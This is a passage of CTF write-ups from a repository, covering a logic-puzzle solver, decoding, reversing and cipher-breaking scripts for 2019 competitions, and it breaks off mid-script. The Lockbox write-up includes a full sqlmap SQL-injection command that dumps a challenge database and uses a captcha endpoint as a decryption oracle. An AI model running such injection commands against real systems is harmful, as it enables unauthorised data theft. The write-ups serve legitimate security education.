corresponds to the functions that return its input unmodified ("Always speaks truth"), inverts the input ("Always lies") or randomly inverts the input or not. This permutation is referenced as `(A,B,C)`. 20 | 2. Picks one out of 2 functions, that either always inverts or returns the input unmodified. This value is referenced as `X`. 21 | 3. For 3 iterations, reads in input and `eval()` the second part of it. You can only pick inputs from the set `['==','(',')','A','B','C','X','0','1','2']`, so no code execution. Instead, you are essentially allowed to ask boolean questions about the different values. The first parameter to the question, is an integer that decides which of A, B or C to ask the question, and this decides if you get a truthful answer, a lie, or a random response. After processing your question, the final answer will also potentially be inverted based on the value of `X`. 22 | 4. Ask which values `(A,B,C)` correspond to, based on the three questions you asked. You have to answer correctly all 50 times, and guessing randomly gives you a 1:6 chance of guessing correctly. 23 | 24 | If you manage to guess correctly all 50 rounds, the flag is printed. 25 | 26 | This problem corresponds to "[The Hardest Logic Puzzle Ever](https://en.wikipedia.org/wiki/The_Hardest_Logic_Puzzle_Ever)", just in code form. A, B, C corresponds to the three gods, and the X corresponds to whether "da" means "yes". The Wikipedia article is lengthy enough, but the gist of it is that you need to: 27 | 28 | 1. Figure out one of A, B or C that are guaranteed to **not** be random. Direct future questions to this entity. 29 | 2. Ask 2 boolean questions that each reveal a new fact about the remaining values. 30 | 3. With 3 unique facts, you have enough information to find the current permutation of `[0,1,2]` that corresponds to A, B and C. 31 | 32 | A solution can be found in [solve.py](solve.py). -------------------------------------------------------------------------------- /2019/hacklu/misc/BreaktimeRiddle/riddle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from random import choice as c 3 | from itertools import permutations as p 4 | from secret import flag 5 | 6 | v = ['==','(',')','A','B','C','X','0','1','2'] 7 | def calc(t1, t2, m1, X, i, expr): 8 | try: 9 | A, B, C = m1 10 | r = eval(expr) 11 | except Exception as e: 12 | print("Error...", e) 13 | exit(0) 14 | return t2[X](t1[m1[i]](r)) 15 | 16 | def do_round(): 17 | t1 = (lambda r: r, lambda r: not r, lambda r: c((True, False))) 18 | t2 = (lambda r: r, lambda r: not r) 19 | m1 = c(list(p(range(len(t1))))) 20 | m2 = c(range(len(t2))) 21 | 22 | print(m1,m2) 23 | for _ in range(3): 24 | print("I?") 25 | ts = [t for t in input().split(" ") if t in v] 26 | print("R: {}".format(calc(t1, t2, m1, m2, int(ts[0]), "".join(ts[1:])))) 27 | 28 | print("A?") 29 | return m1 == tuple(map(int, input().split(" "))) 30 | 31 | for i in range(50): 32 | if not do_round(): 33 | print("Wrong...") 34 | exit(0) 35 | else: 36 | print("Correct!") 37 | 38 | print("Good job, here is your flag: {}".format(flag)) -------------------------------------------------------------------------------- /2019/hacklu/misc/BreaktimeRiddle/solve.py: -------------------------------------------------------------------------------- 1 | from socket import socket 2 | 3 | s = socket() 4 | s.connect(("breaktime-riddle.forfuture.fluxfingers.net", 1337)) 5 | 6 | 7 | for _ in range(50): 8 | A, B, C = -1, -1, -1 9 | 10 | print(s.recv(1024)) 11 | # Figure who is not random by asking A 12 | s.sendall(b"0 ( ( A == 0 ) == ( B == 2 ) ) == ( X == 1 )\n") 13 | if b"True" in s.recv(1024): 14 | # B is not random 15 | 16 | s.sendall(b"1 ( ( A == 2 ) == ( B == 0 ) ) == ( X == 1 )\n") 17 | if b"True" in s.recv(1024): 18 | # A is not random so C is random 19 | C = 2 20 | else: 21 | # A is random 22 | A = 2 23 | 24 | s.sendall(b"1 ( ( B == 1 ) ) == ( X == B )\n") 25 | if b"True" in s.recv(1024): 26 | # B is false 27 | B = 1 28 | else: 29 | B = 0 30 | 31 | else: 32 | # C is not random 33 | 34 | s.sendall(b"2 ( ( A == 2 ) == ( C == 0 ) ) == ( X == 1 )\n") 35 | if b"True" in s.recv(1024): 36 | # A is not random, so B is random 37 | B = 2 38 | else: 39 | # A is random 40 | A = 2 41 | 42 | s.sendall(b"2 ( ( C == 1 ) ) == ( X == C )\n") 43 | if b"True" in s.recv(1024): 44 | # C is false 45 | C = 1 46 | else: 47 | C = 0 48 | 49 | if (A == -1): A = list((set([0,1,2]) - set([B,C])))[0] 50 | if (B == -1): B = list((set([0,1,2]) - set([A,C])))[0] 51 | if (C == -1): C = list((set([0,1,2]) - set([A,B])))[0] 52 | 53 | print(b"%d %d %d\n" % (A,B,C)) 54 | s.sendall(b"%d %d %d\n" % (A,B,C)) 55 | 56 | print(s.recv(1024)) 57 | 58 | # Good job, here is your flag: flag{Congr4ts_f0r_s0lving_The_Hardest_Logic_Puzzle_Ever} -------------------------------------------------------------------------------- /2019/ritsec-ctf/README.md: -------------------------------------------------------------------------------- 1 | # RITSEC CTF 2019 2 | Fri, 15 Nov. 2019, 18:00 CET — Mon, 18 Nov. 2019, 06:00 CET 3 | 4 | https://ctftime.org/event/898 5 | 6 | We placed **1st**!!! 7 | 8 | This is the first time we win an international CTF, thank you for making all of the challenges! 9 | -------------------------------------------------------------------------------- /2019/ritsec-ctf/misc/lost in transmission 2.0/README.md: -------------------------------------------------------------------------------- 1 | # Lost In Transmission 2.0 [500 pts] 2 | 3 | ----- 4 | 5 | ## Category 6 | Misc 7 | 8 | 9 | ## Description 10 | >``` 11 | >FDFDDDFFDFDDFDDDDFFDFDDFDDFFDFDFFDDFFDFFDDFFDFDDDDDDFFDFDDFFDDFFDFFDDDFFDFFFFFFDDFFDFDDDDDDFFDFDDDDFFDFDDDFFDFDFDDFFDFDDFDDFFDFDDDDDDFFDFFDFDDFFDFFDDDFFDFFFDDDDFFDFFFFDDDDFFDFDDDDDDFFDFFFFFDDFFDFFDDDFFDFFFFFFDDFFDFDFFFDDFFDFDDDDDDFFDFDDDDFFDFFFFDDDDFFDFFDDDFFDFDDFDDFFDFDDDDDDFFDFDFFDDFFDFDDDFFDFDDDDDDFFDFFFDDDDFFDFDDFDDDDFFDFDDFFDDFFDFDDDDDDFFDFFFFFDDFFDFFFFDDDDFFDFDFFFDDFFDFDFFDDFFDFDDDDDDFFDFDFFFDDFFDFDDFDDFFDFDDDDFFDFDDDDDDFFDFFDFDDFFDFFDDDFFDFFFDDFFDFFFDDDDFFDF 12 | >``` 13 | > 14 | >*Author: DataFrogman* 15 | > 16 | >We heard LostInTransmission last year was everyone's bane so we decided to one-up it, have fun! 17 | >Make sure you wrap the flag in RITSEC{} 18 | 19 | ## Writeup 20 | Very short writeup for this task, but should be easy to understand 21 | 1. Convert F to `.` and D to `-`. 22 | 2. Looks like morse code but there is no delimiter between letters. 23 | 3. Find a delimiter so that it looks like valid morse letters. `--..-.` is a pattern that repeats quite often. And using this as a delimiter, there are no large morse chunks. It now looks like quite normal morse code! 24 | 4. Replace `--..-.` with a space and you get this code: 25 | ``` 26 | .-.- --.-- --. -.. . ---- --.. .- ..... ---- -- - -. --. ---- .-. .- ..-- ...-- ---- .... .- ..... -... ---- -- ...-- .- --. ---- -.. - ---- ..-- --.-- --.. ---- .... ...-- -... -.. ---- -... --. -- ---- .-. .- .. ..-- 27 | ``` 28 | 5. Find out that nothing makes sense and figure out that it's not morse code but `Bain`. 29 | 6. Convert from Bain to text: `M0RSE&WA5&YOUR&BAN3&LA5T&Y3AR&SO&N0W&L3TS&TRY&BAIN` 30 | 7. Wrap the text with `RITSEC{}` 31 | 32 | #### Flag 33 | `RITSEC{M0RSE&WA5&YOUR&BAN3&LA5T&Y3AR&SO&N0W&L3TS&TRY&BAIN}` 34 | -------------------------------------------------------------------------------- /2019/ritsec-ctf/web/knock knock/README.md: -------------------------------------------------------------------------------- 1 | # Knock knock [498 pts] 2 | 3 | ## Category 4 | >Web 5 | 6 | ## Description 7 | >While performing a pentest, we managed to get limited access to a box on the network (listener@129.21.228.115) with password of password. There's probably some cool stuff you can find on the network if you go looking. 8 | 9 | ## Writeup 10 | SSH into the server provided and notice that the only programs available are `nc`, `tcpdump`, `curl`, `ls` and a few more. 11 | 12 | The `tcpdump` looks interesting! 13 | By looking at the network traffic for a while we notice a suspicious local IP address, 192.168.0.14, that sometimes sends data back over https. Right before this data is sent, there is usually 3 connections to random ports every time. 14 | 15 | It looks like there is some port knocking going on here! The challenge name is "Knock Knock" so we already have this hint. 16 | 17 | The problem is that there are random ports that get knocked on every time, and the https-port is only open for one connection. Maby the information about which ports to knock on next time is included in the data sent over https? How can we hook into this sequence of requests and send an https-request before the client connects? We notice that there is a slight delay between the last portknock and the https request, so maby we can just wait for the third portknock and quickly use `curl` to get the data. Tcpdump can be stopped after "n" packets, so with the right filters we can make a bash oneliner: 18 | 19 | **Bash oneliner to solve the challenge** 20 | ```bash 21 | while true; do tcpdump tcp and dst 192.168.0.14 and not port 443 -c 3; curl -k -v --connect-timeout 10 https://192.168.0.14; done 22 | ``` 23 | 24 | We let this run, and hopefully, if there are no other people on the box breaking the sequence, we get the flag back! 25 | 26 | ```bash 27 | 19:36:15.210784 IP 192.168.0.33.43472 > 192.168.0.14.7553: Flags [S], seq 2806668997, win 1024, options [mss 1460], length 0 28 | 19:36:29.707206 IP 192.168.0.33.56707 > 192.168.0.14.2284: Flags [S], seq 1943103875, win 1024, options [mss 1460], length 0 29 | 19:36:44.203373 IP 192.168.0.33.46432 > 192.168.0.14.2438: Flags [S], seq 1000961227, win 1024, options [mss 1460], length 0 30 | 3 packets captured 31 | 4 packets received by filter 32 | 0 packets dropped by kernel 33 | * Rebuilt URL to: https://192.168.0.14/ 34 | * Trying 192.168.0.14... 35 | * TCP_NODELAY set 36 | * Connected to 192.168.0.14 (192.168.0.14) port 443 (#0) 37 | * Server certificate: 38 | * subject: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd; CN=192.168.0.14 39 | * start date: Nov 15 14:15:26 2019 GMT 40 | * expire date: Nov 14 14:15:26 2020 GMT 41 | * issuer: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd; CN=192.168.0.14 42 | * SSL certificate verify result: self signed certificate (18), continuing anyway. 43 | > GET / HTTP/1.1 44 | > Host: 192.168.0.14 45 | > User-Agent: curl/7.58.0 46 | > Accept: */* 47 | > 48 | < HTTP/1.1 200 OK 49 | < Date: Sat, 16 Nov 2019 19:36:44 GMT 50 | < Server: Apache/2.4.29 (Ubuntu) 51 | < Last-Modified: Fri, 15 Nov 2019 14:20:35 GMT 52 | < ETag: "1c-597634d297ba1" 53 | < Accept-Ranges: bytes 54 | < Content-Length: 28 55 | < Content-Type: text/html 56 | < 57 | RITSEC{KN0CK_KN0CK_IM_H3R3} 58 | ``` 59 | 60 | 61 | Flag: `RITSEC{KN0CK_KN0CK_IM_H3R3}` 62 | -------------------------------------------------------------------------------- /2019/sec-t/README.md: -------------------------------------------------------------------------------- 1 | # SEC-T CTF 2019 2 | Wed, 18 Sept. 2019, 17:00 CEST — Thu, 19 Sept. 2019, 23:00 CEST 3 | 4 | https://ctftime.org/event/873 5 | 6 | We placed **5th**! :D 7 | -------------------------------------------------------------------------------- /2019/sec-t/re/rerere/README.md: -------------------------------------------------------------------------------- 1 | # rerere 2 | 3 | **Category**: Reverse Engineering 4 | 5 | **Points**: 240 6 | 7 | #### Challenge description: 8 | > re rere rerere. Find the magic key, and encapsulate in SECT{...} to get the flag 9 | 10 | --- 11 | 12 | Decompiling the code reveals just a single function, that outputs "YN" or "N". Giving random inputs to the binary produces "N", so we probably want it to print "YN" instead. 13 | 14 | ```C 15 | gets(flag, argv, a3); 16 | v5 = 0; 17 | for ( i = 0; i <= 0xC; ++i ) 18 | { 19 | v8 = 0.0; 20 | for ( j = 0; j <= 0xC; ++j ) 21 | v8 = (i - 6) * v8 + dbl_201020[j]; 22 | if ( v8 <= 0.0 ) 23 | v3 = (v8 - 0.5); 24 | else 25 | v3 = (v8 + 0.5); 26 | v5 += flag[i] - v3; 27 | } 28 | if ( v5 ) 29 | puts(L"N"); 30 | else 31 | puts(L"YN"); 32 | ``` 33 | 34 | Basically, it reads in the flag as an argument, then does some fancy math in a loop over 0xC bytes. This gives the information that the flag is 0xC long. After each round, the difference between `flag[i]` (unmodified) and `v3` (calculated independently of the flag) is added to `v5`. We want `v5` to stay at 0 to get to the "YN" output. That means that for each loop, `flag[i]` must be equal to `v3`. 35 | 36 | We then fire up GDB, set a random flag of the correct length, and put a breakpoint at the place where they subtract `v3` from `flag[i]`. Keep running this, and jot down the values of EAX for each round, and you get the flag. 37 | 38 | ```bash 39 | set args 1234567890123 40 | b *0x55555555494b 41 | ``` 42 | -------------------------------------------------------------------------------- /2019/squarectf/README.md: -------------------------------------------------------------------------------- 1 | # Talk to me (100p) [ruby] 2 | 3 | In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`. 4 | 5 | 6 | # Aesni (700p) [binary] 7 | Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned. 8 | 9 | ``` 10 | root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInE 11 | flag-cdce7e89a7607239 12 | ``` 13 | 14 | # Decode me (150p) [snake oil] 15 | We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this: 16 | 17 | ```python 18 | import base64, string, sys 19 | from random import shuffle 20 | 21 | def encode(f, inp): 22 | s = string.printable 23 | init = lambda : (list(s), []) 24 | bag, buf = init() 25 | for x in inp: 26 | if x not in s: 27 | continue 28 | while True: 29 | r = bag[0] 30 | bag.remove(r) 31 | diff = (ord(x) - ord(r) + len(s)) % len(s) 32 | if diff == 0 or len(bag) == 0: 33 | shuffle(buf) 34 | f.write(('').join(buf)) 35 | f.write('\x00') 36 | bag, buf = init() 37 | shuffle(bag) 38 | else: 39 | break 40 | 41 | buf.extend(r * (diff - 1)) 42 | f.write(r) 43 | 44 | shuffle(buf) 45 | f.write(('').join(buf)) 46 | 47 | 48 | if __name__ == '__main__': 49 | with open(sys.argv[1], 'rb') as (r): 50 | w = open(sys.argv[1] + '.enc', 'wb') 51 | b64 = base64.b64encode(r.read()) 52 | encode(w, b64) 53 | ``` 54 | 55 | At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte). 56 | 57 | To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64. 58 | 59 | The final decoder looks like this: 60 | ```python 61 | from string import printable 62 | 63 | #PNG header b64 iVBORw0KGg 64 | b64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") 65 | 66 | b64buf = "" 67 | data = open("decodeme.png.enc", "rb").read() 68 | 69 | e_counter = 0 70 | ix = 0 71 | while ix < len(data): 72 | r_list = [] 73 | while data[ix] not in r_list: 74 | r_list.append(data[ix]) 75 | ix += 1 76 | try: 77 | STOP = ix + data[ix:].index("\x00") 78 | except ValueError: 79 | STOP = len(data) 80 | 81 | buf = data[ix:STOP] 82 | for r in r_list: 83 | if r == "\x00": continue 84 | diff = buf.count(r) + 1 85 | x = (diff + ord(r)) & 0xFF 86 | if x not in b64alpha: 87 | if 0 > (x - len(printable)): 88 | x += len(printable) 89 | else: 90 | x -= len(printable) 91 | if x not in b64alpha: 92 | print(x, ix, STOP, len(data), (diff + ord(r))) 93 | assert False 94 | b64buf += chr(x) 95 | 96 | 97 | ix = STOP + 1 98 | 99 | with open("decodeme.png", "wb") as fd: 100 | fd.write(b64buf.decode('base-64')) 101 | ``` 102 | 103 | # Inwasmble (200p) [web] 104 | 105 | We've given a link to an HTML site, where we're greeted by this box: 106 | 107 | ![Input box](inwasmble-1.png) 108 | 109 | At first glance, the code seems to contain nothing 110 | 111 | ![WTF](inwasmble-2.png) 112 | 113 | but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this: 114 | 115 | ```javascript 116 | var code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]); 117 | var wa = new WebAssembly.Instance(new WebAssembly.Module(code)); 118 | var buf = new Uint8Array(wa.exports.memory.buffer); 119 | async function go() { 120 | sizes = [...[...Array(4)].keys()].map(x => x * 128); 121 | buf.set(x.value.substr(sizes[0], sizes[1]) 122 | .padEnd(sizes[1]) 123 | .split('') 124 | .map(x => x.charCodeAt(''))); 125 | if (wa.exports.validate()) { 126 | hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); 127 | r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) 128 | .join(''); 129 | } 130 | else { 131 | r.innerHTML = x.value == "" ? " " : "\u26D4"; 132 | } 133 | } 134 | ``` 135 | 136 | which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this 137 | 138 | ```javascript 139 | function $0() { 140 | var $i = 0, $1 = 0, $2 = 0; 141 | $i = 0; 142 | label$1 : { 143 | label$2 : { 144 | label$3 : while (1) { 145 | if (($i) == (32)) { 146 | break label$2 147 | } 148 | $2 = 2; 149 | $1 = 0; 150 | label$4 : { 151 | label$5 : while (1) { 152 | if (($i) == ($1)) { 153 | break label$4 154 | } 155 | $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); 156 | $1 = $1 + 1; 157 | continue label$5; 158 | }; 159 | } 160 | HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; 161 | if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { 162 | break label$1 163 | } 164 | $i = $i + 1; 165 | continue label$3; 166 | }; 167 | } 168 | return 1; 169 | } 170 | return 0; 171 | } 172 | ``` 173 | 174 | where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding). 175 | 176 | A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here: 177 | 178 | ```python 179 | buffer = [0] * 65536 180 | buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64') 181 | 182 | i, var1, var2 = 0, 0, 0 183 | flag = "" 184 | 185 | while True: 186 | if i == 32: 187 | break 188 | var2 = 2 189 | var1 = 0 190 | while True: 191 | if i == var1: 192 | break 193 | var2 = buffer[(var1*4+256)>>2] * var2 194 | var1 += 1 195 | buffer[(i*4+256)>>2] = var2 + 1 196 | flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) 197 | i += 1 198 | print(flag) 199 | ``` 200 | 201 | this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag. 202 | 203 | ![Solution](inwasmble-3.png) 204 | 205 | # Lockbox (600p) [go, web] 206 | 207 | We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else). 208 | 209 | However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output. 210 | 211 | The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this 212 | 213 | `$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump` 214 | 215 | ``` 216 | +----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+ 217 | | id | data | lock | 218 | +----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+ 219 | | 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 | 220 | | 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 | 221 | | 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 | 222 | +----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+ 223 | ``` 224 | 225 | decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image: 226 | 227 | ![Solution7](lockbox-1.png) 228 | 229 | # Go cipher (1000p) [go, not web] 230 | We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice: 231 | 232 | 1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc". 233 | 2. The key consists of 3 64-bit numbers; x, y and z. 234 | 3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used. 235 | 4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number. 236 | 237 | I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary. 238 | 239 | ```python 240 | from z3 import * 241 | 242 | def rotl(num, bits): 243 | bit = num & (1 << (bits-1)) 244 | num <<= 1 245 | if(bit): 246 | num |= 1 247 | num &= (2**bits-1) 248 | 249 | return num 250 | 251 | def rotr(num, bits): 252 | num &= (2**bits-1) 253 | bit = num & 1 254 | num >>= 1 255 | if(bit): 256 | num |= (1 << (bits-1)) 257 | 258 | return num 259 | 260 | x_org = BitVec("x", 64) 261 | y_org = BitVec("y", 64) 262 | z_org = BitVec("z", 64) 263 | 264 | x, y, z = x_org, y_org, z_org 265 | data_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex')) 266 | data_dec = map(ord, open("story4.txt").read()) 267 | 268 | assert len(data_enc) == len(data_dec) 269 | 270 | s = Solver() 271 | for i in xrange(len(data_dec)): 272 | s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) 273 | x = RotateRight(x, 1) 274 | y = RotateLeft(y, 1) 275 | z = RotateLeft(z, 1) 276 | 277 | if s.check() == sat: 278 | m = s.model() 279 | xx = m[x_org].as_long() 280 | yy = m[y_org].as_long() 281 | zz = m[z_org].as_long() 282 | 283 | flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) 284 | flag_dec = "" 285 | for e in flag_enc: 286 | flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) 287 | xx=rotr(xx, 64) 288 | yy=rotl(yy, 64) 289 | zz=rotl(zz, 64) 290 | print(flag_dec) 291 | ``` 292 | 293 | Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719` 294 | 295 | 296 | # 20.pl (500p) [perl, cryptography] 297 | 298 | Deobfuscating the script gives something like this 299 | ```perl 300 | #!/usr/bin/perl 301 | 302 | print( "usage: echo | $0 " ) && exit 303 | unless scalar @ARGV; 304 | $/ = \1; 305 | use constant H => 128; 306 | @key = split "", $ARGV[0]; 307 | for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { } 308 | for ( $j = $i = 0 ; $i < H ; $i++ ) { 309 | $j += $a[$i] + ord $key[ $i % 16 ]; 310 | ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] ); 311 | } 312 | 313 | for ( $i = $j = $m = 0 ; ; print chr( ord $_ ^ $l ^ $m ) ) { 314 | $j += $a[ ++$i % H ]; 315 | ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); 316 | $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; 317 | $m = 318 | ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; 319 | $x = $i / 64 % 16; 320 | } # -- Alok 321 | ``` 322 | 323 | It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards. 324 | 325 | Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked. 326 | 327 | ```python 328 | import operator 329 | 330 | printable = "01234567890abcdef" 331 | 332 | data = open("flag.pdf.enc","rb").read() 333 | 334 | all_cands = [{} for _ in xrange(16)] 335 | 336 | for block in range(700, len(data)//(64*16)): 337 | for i in xrange(16): 338 | cands = {} 339 | for j in xrange(8): 340 | keychar = "" 341 | for k in xrange(8): 342 | ix = (block*64*16) + i*64 + j*8 + k 343 | keychar += "1" if ord(data[ix])&0x80 else "0" 344 | c = chr(int(keychar, 2) >> 1) 345 | if c in printable: 346 | cands[c] = cands.get(c,0) + 1 347 | 348 | 